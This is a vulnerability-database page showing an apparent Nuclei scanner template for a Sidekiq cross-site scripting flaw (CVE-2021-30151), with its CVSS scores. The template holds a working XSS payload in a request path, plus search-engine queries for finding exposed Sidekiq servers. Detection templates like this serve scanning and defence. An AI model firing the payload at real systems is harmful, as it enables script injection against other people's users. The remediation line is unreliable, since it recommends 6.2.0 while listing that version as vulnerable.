Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2021-30151
HistoryApr 10, 2021 - 5:28 p.m.

Sidekiq <=6.2.0 - Cross-Site Scripting

2021-04-1017:28:27
ProjectDiscovery
github.com

4.3 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

6.3 Medium

AI Score

Confidence

High

0.008 Low

EPSS

Percentile

81.9%

Sidekiq through 5.1.3 and 6.x through 6.2.0 contains a cross-site scripting vulnerability via the queue name of the live-poll feature when Internet Explorer is used.

id: CVE-2021-30151

info:
  name: Sidekiq <=6.2.0 - Cross-Site Scripting
  author: DhiyaneshDk
  severity: medium
  description: Sidekiq through 5.1.3 and 6.x through 6.2.0 contains a cross-site scripting vulnerability via the queue name of the live-poll feature when Internet Explorer is used.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access, data theft, or session hijacking.
  remediation: |
    Upgrade to Sidekiq version 6.2.0 or later to mitigate this vulnerability.
  reference:
    - https://github.com/mperham/sidekiq/issues/4852
    - https://lists.debian.org/debian-lts-announce/2022/03/msg00015.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-30151
    - https://lists.debian.org/debian-lts-announce/2023/03/msg00011.html
    - https://github.com/Elsfa7-110/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-30151
    cwe-id: CWE-79
    epss-score: 0.00812
    epss-percentile: 0.81748
    cpe: cpe:2.3:a:contribsys:sidekiq:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: contribsys
    product: sidekiq
    shodan-query:
      - title:"Sidekiq"
      - http.title:"sidekiq"
    fofa-query: title="sidekiq"
    google-query: intitle:"sidekiq"
  tags: cve2021,cve,xss,sidekiq,authenticated,contribsys

http:
  - raw:
      - |
        POST /api/auth HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"email":"{{username}}","password":"{{password}}"}
      - |
        GET /queues/"onmouseover="alert(document.domain)" HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'onmouseover="alert(document.domain)'
          - 'sidekiq'
        condition: and
        case-insensitive: true

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a004730450220532fd50de22a681b694867eec12b118b6418f7def8cbf6728d9b338c55841b3b022100e679573f2cbc59d10be428cee3fe310ccf494da28470b3692b8c374baabc68c2:922c64590222798bb761d5b6d8e72950

4.3 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

6.3 Medium

AI Score

Confidence

High

0.008 Low

EPSS

Percentile

81.9%